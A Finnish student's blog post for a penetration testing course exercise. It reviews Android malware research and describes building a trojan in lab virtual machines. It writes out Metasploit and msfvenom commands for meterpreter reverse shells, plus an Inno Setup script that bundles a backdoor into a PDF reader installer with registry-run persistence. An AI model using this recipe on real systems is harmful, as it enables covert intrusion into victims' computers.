Tunkeutumistestaus – h6

Tunkeutumistestaus

http://terokarvinen.com/2018/penetration-testing-course-autumn-2018

Teen harjoituksen enimmäkseen virtuaalikoneella, johon on asennettu Kali 2018-2.

h6

  1. Hae Google Scholarlista tuore (alle 1-2 v) artikkeli, joka liittyy kurssin aiheeseen.

Löysin itseäni kiinnostavan artikkelin vuodelta 2017: The Evolution of Android Malware and Android Analysis Techniques

https://pure.royalholloway.ac.uk/portal/files/28069262/computingsurvey.pdf

 

Artikkeli käsittelee Android-puhelimien tietoturvaa, kuinka haittaohjelmat kehittyvät jatkuvasti ja samoin myös analysointi kehittyy jatkuvasti.

Itseäni kiinnostaa mobiililaitteiden tietoturva melko paljon. Pidän puhelinta hyvänä hyökkäsvektorina, koska se kulkee joka paikassa ja usein yhdistetään vahingossakin yrityksen verkkoon joko piuhalla tietokoneen kautta, tai langattomasti. Muistan joskus katsoneeni jonkin DEF CON esityksen, jossa puhuttiin siitä miten tietyt verkkokortit puhelimissa olivat haavoittuvia, vaikka ei edes yritetä yhdistää mihinkään. Pelkästään se, että puhelin hakee verkkoja avoimesti riittää iskemiseen.

Samoin bussissa tai lentokentillä näkyvät USB-paikat latausta varten saattavat hyvinkin olla aivan muuta, kuin latausportti.

Eli siis jos pelkästään hyökkääjän lähellä olo asettaa yrityksen tietoturvan uhanalaiseksi, onhan se selvää, että puhelin on hyvä kohde. Tähän voi lisätä Androidien melko köyhän tietoturvan. Vastapainoksi tälle käsittääkseni iPhoneissa ei ole vieläkään tapahtunut yhtäkään suurta haittaohjelman leviämistapausta, joten tämä tapa on ehkä realistisempi jos tiedetään, että kohde on Android.

Scholarista löytyy paljon artikkeleita Androidin tietoturvasta ja haittaohjelmien analysoinnista. Sain tekstejä selaamalla kuvan, että Android haittaohjelmien analysointi on aika alkuvaiheessa, eikä varmoja menetelmiä ole tai ne eivät ole vielä yleisesti käytössä.

Käytännössä en usko että tästä on minulle ainakaan tässä hetkessä hyötyä, mutta yleisesti luulen, että painotan puhelimen kautta hyökkäämistä enemmän. Jos puhelin tulee saastuneena työverkon alueelle, mihin se kirjautuu automaattisesti käyttäjän aiemmin antamilla tunnuksilla, voidaan näistä tunnuksista ottaa varmasti koppi kirjautumisvaiheessa laitteen sisältä, mitä kautta saadaan todennäköisesti yhdet käyttäjätunnukset. Puhumattakaan siitä, että laitteesta voidaan lukea kaikki viestit, tiedostot ja ehkä sähköpostitkin. Siinä tulee tavallaan ylitettyä ”airgap” ja päästyä jonkin käyttäjään käsiksi yhdellä kerralla.

 

  1. Tee Google Scholar -haku kiinnostavasta aiheesta, jota haluat seurata. Mitä 5 tuoreinta tai viitatuinta artikkelia kertovat?

Tein haun ”malware command and control”, millä siis haen tietoa haittaohjelmien hallintaverkoista.

Ensimmäisiin hakuihin sisältyy monta artikkelia, mitkä käsittelevät hallintaverkkojen paljastamista mittaamalla verkkoliikennettä. Lisäksi palveluntarjoajien vastuusta hallintaverkkojen estämisessä. Lisäsin aiheen alertteihin.

  1. Paketoi troijan hevonen itse. Voit tehdä asennuksen esimerkiksi inno setup -ohjelmalla. Voit kokeilla myös pakata samaan asennukseen vihamielisen ohjelman sekä normaalin ohjelman – näin et joudu muokkaamaan normaalin ohjelman binääriä. Nimeä ohjelmat siten, että haitallinen tarkoitus ilmenee MALWARE-installer.exe. Älä tee itsestään leviäviä ohjelmia.

Olin valitettavasti sairaana sillä tunnilla, kun tätä käytiin yhteisesti läpi, joten haen vähän vinkkejä Eetun tekstistä:

https://eetupsite.wordpress.com/2018/09/27/tunkeutumistestaus-h6/

Käytän troijalaisen pakkaamiseen inno setupia, jota pyöritän Windows 10 virtuaalikoneessa:

http://jrsoftware.org/isdl.php

Haittaohjelman pakkaus ja etähallinta suoritetaan Kali 2018.2 virtuaalikoneelta.

Tavoitteena on avata meterpreter session Office macrojen kautta.

Tehdään Metasploitilla .docm tiedosto, joka avaa meterpreter yhteyden

$ msfconsole

> use exploit/multi/fileformat/office_word_macro

> set payload windows/meterpreter/reverse_tcp

> set LHOST kalin ip

> set LPORT 9001

> set FILENAME SUPERVIRUSMALWARE.docm

> exploit

Lopputuloksena pitäisi olla .docm tiedosto, mikä ottaa yhteyttä Kalikoneeseen. Metasploit heittää tiedoston sijaintiin /home/user/.msf4/local.

Windows 10 koneesta piti ottaa Defender pois käytöstä, jotta sain siirrettyä .docm tiedoston sinne, jonka nimesin hämäykseksi .odt tiedostoksi.

Asennan tähän väliin Open Officen Eetun ohjeiden mukaan:

https://sourceforge.net/projects/openofficeorg.mirror/files/4.1.5/binaries/en-US/Apache_OpenOffice_4.1.5_Win_x86_install_en-US.exe/download

Nyt meillä on siis kasassa hyökkäysmacro, Open Office ja Ccleaner setup johon upotamme tuon macrotiedoston. Ccleaner on hyvä vaihtoehto, koska se on luonnostaan jo valmiiksi malwarea, niin tulee tehtyä kaksi hyökkäystä kerralla.

Käynnistetään innosetup ja lähdetään tekemään asennustiedostoa:

Create a new script file using the Script Wizard > OK

Next

Application nameksi laitoin CCLEANER_MALWARE_MACRO, lisäksi pyyhin turhat pois:

Next

Seuraavassa ruudussa valitaan asennustiedosto ja sen kylkiäiseksi laitettava haitallinen tiedosto:

Next

Ei mitään license tiedostoja, Next

Next

Seuraavaksi määritellään sitä, mihin lopputulos laitetaan. Itse valitsin Työpöydän ja nimeksi CCLEANER_MALWARE_MACRO

Seuraavassa ruudussa otetaan raksi pois ”Yes, use #define compiler directives” ruudusta ja Next

 

Lopuksi vielä Finish, jonka jälkeen Inno Setup kysyy halutaanko skripti kääntää heti, vastataan Yes, skriptin tallentamiseen vastataan No.

Ennen asennusta, kuunnellaan porttia kalikoneella:

$ msfconsole

> use exploit multi/handler

> set payload windows/meterpreter/reverse_tcp

> set LPORT 9001

> exploit

Sitten asennetaan CCleaner. Asennus sujuu muuten normaalisti, mutta asennuksen jälkeen Cleaner koittaa käynnistyä itse, eikä se ilmeisesti onnistu.

Tiedosto löytyy kuitenkin CCleanerin asennustiedostoista, mutta jostain syystä Open Office ei saa avattua tiedostoa, edes sen ehdottaman korjaamisen jälkeen. Tein tiedoston uudelleen ja upotin sen uudestaan Cleanerin kylkiäiseksi, minkä jälkeen tätä virheviestiä ei tullut, mutta ei tullut mitään muutakaan. Macro ei ilmeisesti aktivoidu, koska Open Officesta pitäisi tulla ilmoitus niistä. Yritetään sen avaamista LibreOfficessa. LibreOfficen kautta pääsen aktivoimaan Macrot, mutta jostain syystä sessio ei aukea. Tarkistin, että Kalille on avattu oikea portti, mutta sekään ei auta. En keksi mikä tässä mättää, palaan tehtävään jos muiden palautuksista löytyy vinkkejä.

 

Jatkan tehtävää Roope Varttilan kanssa pari tuntia myöhemmin, hän oli tunnilla ja opastaa samalla.

https://github.com/Veil-Framework/Veil-Evasion

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md


http://www.jrsoftware.org/iskb.php?startwithwindows

http://www.jrsoftware.org/ishelp/index.php?topic=registrysection

http://www.jrsoftware.org/iskb.php?startwithwindows

http://www.jrsoftware.org/ishelp/index.php?topic=runsection

Harjoituksia varten latasimme Win7 ja Win10 virtuaalikoneet Microsoftilta:

https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/ Win7

https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/ MSEdge on Win10

Tehtiin payload msfvenomilla:

$ msfvenom -p windows/meterpreter/reverse_tcp -a x86 –platform windows -f exe LHOST=192.168.10.52 LPORT=9001 -e x86/shikata_ga_nai -o windows_not_a_backdoor.exe

Tämä payload yhdistettiin SumatraPDF ohjelmaan Inno Setupilla:

https://www.sumatrapdfreader.org/free-pdf-reader.html

Ideana oli istuttaa Sumatran lisäksi windows_not_a_backdoor.exe ja asettaa se rekisterin kautta käynnistymään itsestään seuraavan tietokoneen käynnistymisen yhdessä, tässä Inno Setup skripti:

; Script generated by the Inno Setup Script Wizard.
; SEE THE DOCUMENTATION FOR DETAILS ON CREATING INNO SETUP SCRIPT FILES!

#define MyAppName “PDF ja bonus”
#define MyAppVersion “6.9”
#define MyAppPublisher “Robs and Miikkb studios ltd.”
#define MyAppURL “niceme.me”
#define MyAppExeName “SumatraPDF.exe”

[Setup]
; NOTE: The value of AppId uniquely identifies this application.
; Do not use the same AppId value in installers for other applications.
; (To generate a new GUID, click Tools | Generate GUID inside the IDE.)
AppId={{B8F87554-F79E-47E3-9D9F-56C6C7A1E520}
AppName={#MyAppName}
AppVersion={#MyAppVersion}
;AppVerName={#MyAppName} {#MyAppVersion}
AppPublisher={#MyAppPublisher}
AppPublisherURL={#MyAppURL}
AppSupportURL={#MyAppURL}
AppUpdatesURL={#MyAppURL}
DefaultDirName={pf}\PDF
DisableDirPage=yes
DisableProgramGroupPage=yes
InfoBeforeFile=C:\Users\IEUser\Downloads\info.txt
InfoAfterFile=C:\Users\IEUser\Downloads\after.txt
OutputBaseFilename=finaaliversio
Compression=lzma
SolidCompression=yes
PrivilegesRequired=admin

[Languages]
Name: “english”; MessagesFile: “compiler:Default.isl”
[Tasks]
Name: “desktopicon”; Description: “{cm:CreateDesktopIcon}”; GroupDescription: “{cm:AdditionalIcons}”; Flags: unchecked

[Files]
Source: “C:\Users\IEUser\Downloads\SumatraPDF.exe”; DestDir: “{app}”; Flags: ignoreversion
Source: “C:\Users\IEUser\Downloads\DroidSansFallback.ttf”; DestDir: “{app}”; Flags: ignoreversion
Source: “C:\Users\IEUser\Downloads\libmupdf.dll”; DestDir: “{app}”; Flags: ignoreversion
Source: “C:\Users\IEUser\Downloads\PdfFilter.dll”; DestDir: “{app}”; Flags: ignoreversion
Source: “C:\Users\IEUser\Downloads\PdfPreview.dll”; DestDir: “{app}”; Flags: ignoreversion
Source: “C:\Users\IEUser\Downloads\uninstall.exe”; DestDir: “{app}”; Flags: ignoreversion
Source: “C:\Users\IEUser\Downloads\windows_takaovi.exe”; DestDir: “{app}”; Flags: ignoreversion
; NOTE: Don’t use “Flags: ignoreversion” on any shared system files

[Icons]
Name: “{commonprograms}{#MyAppName}”; Filename: “{app}{#MyAppExeName}”
Name: “{commondesktop}{#MyAppName}”; Filename: “{app}{#MyAppExeName}”; Tasks: desktopicon

[Registry]
Root: HKCU; Subkey: “Software\Microsoft\Windows\CurrentVersion\Run”; ValueType: string; ValueName: “thisisnotanythingbad”; ValueData: “{app}\windows_takaovi.exe”;

[Run]
Filename: “{app}{#MyAppExeName}”; Description: “{cm:LaunchProgram,{#StringChange(MyAppName, ‘&’, ‘&&’)}}”; Flags: nowait postinstall skipifsilent
^

 

Windows 7 koneella tekemämme asennustiedosto istutti rekisteriavaimen oikein, mutta ei kuitenkaan koskaan käynnistänyt ohjelmaa automaattisesti jostain syystä. Jos ohjelman käynnisti manuaalisesti se toimi heti. Yritimme istuttaa automaattista käynnistymistä myös pikakuvakkeen kautta Startup kansiossa.

Windows 10 koneella Defender huomaa hetken kuluttua, että ohjelma on haittaohjelma, ja poistaa sen.

Teimme siis onnistuneesti troijalaisen, mutta emme saaneet persistenssiä toimimaan, emmekä saaneet sitä läpi Windows 10 Defenderistä.

Yritimme salata asennustiedostoa myös Veil-evasionin kautta, mutta tiedoston asentaminen ei onnistunut ikinä allekirjoitusongelman vuoksi. Alla kuvia prosessista:

  1. Mistä ja millä tekniikoilla voit hakea ihmisistä tietoa avoimista lähteistä? Voit myös kokeilla sovelluksia, esim. maltego (suljettu) tai recon-ng (vapaa); sekä weppisivuja (esim. inteltechniques.com) ja oppaita (esim email). Voit hyödyntää myös offline-lähteitä. (Tämä kohta käsittelee tekniikoita, työkaluja ja weppisivuja – älä laita tähän parisi tietoja)

Kävin läpi 5. tehtävän aikana useita mahdollisia palveluita. Inteltechniques.com muun muassa antaa hyviä yleisiä ohjeita ja resursseja ihmisten löytämiseen, ei kuitenkaan välttämättä juuri suomalaisen henkilön hakemiseen. Huomasin, että sähköposteja voi ainakin tarkistella sivulla https://tools.verifyemailaddress.io/, mutta palvelu tuntuu antavan tuloksia melko vaihtelevasti, en tiedä miten se oikeasti tarkistaa mitään.

Ylipäätänsä tiedonkeruu tuntuu olevan paljon asioiden yhdistämistä ja joissakin tilanteissa puhdasta arvailua. On tavallaan pakko yrittää eri asioiden yhteyksiä, ihan vain koska vaikka niillä ei välttämättä ole yhteyttä, voi silti paljastua jotain uutta.

Itse tein omaa keruuta paljon eri hakukoneiden kautta yrittämällä useiden hakusanojen yhdistämistä.

 

  1. Hae paristasi tietoa avoimista lähteistä. Pyri laatimaan kattava profiili henkilöstä: historia, kiinnostuksen kohteen, poliittiset mielipiteet, lähipiiri, taloudellinen tilanne, asuinpaikka

Done.

Kokonaisuutena troijalaisen pakkaaminen koitui yllättävän hankalaksi tehtäväksi. Vaikeutta lisää tietysti hieman se, että olin sairaana lähiopetuskerran kun näitä opetettiin. Windowsin Defender on nyt jo toista kertaa osoittautunut yllättävän kovaksi vastustajaksi. Sen sijaan Inno Setup tuntui melko helpolta skriptien luonnin takia, muokkaaminen oli loogista.

Aikaa kului paljon erilaisten työkalujen kokeiluun, suurimmaksi osaksi ilman tuloksia. Taisimme tehdä lopulta  10 eri versiota tuosta backdoor ohjelmasta, joista yksikään ei päässyt Defenderistä läpi.

This entry was posted in Uncategorised. Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.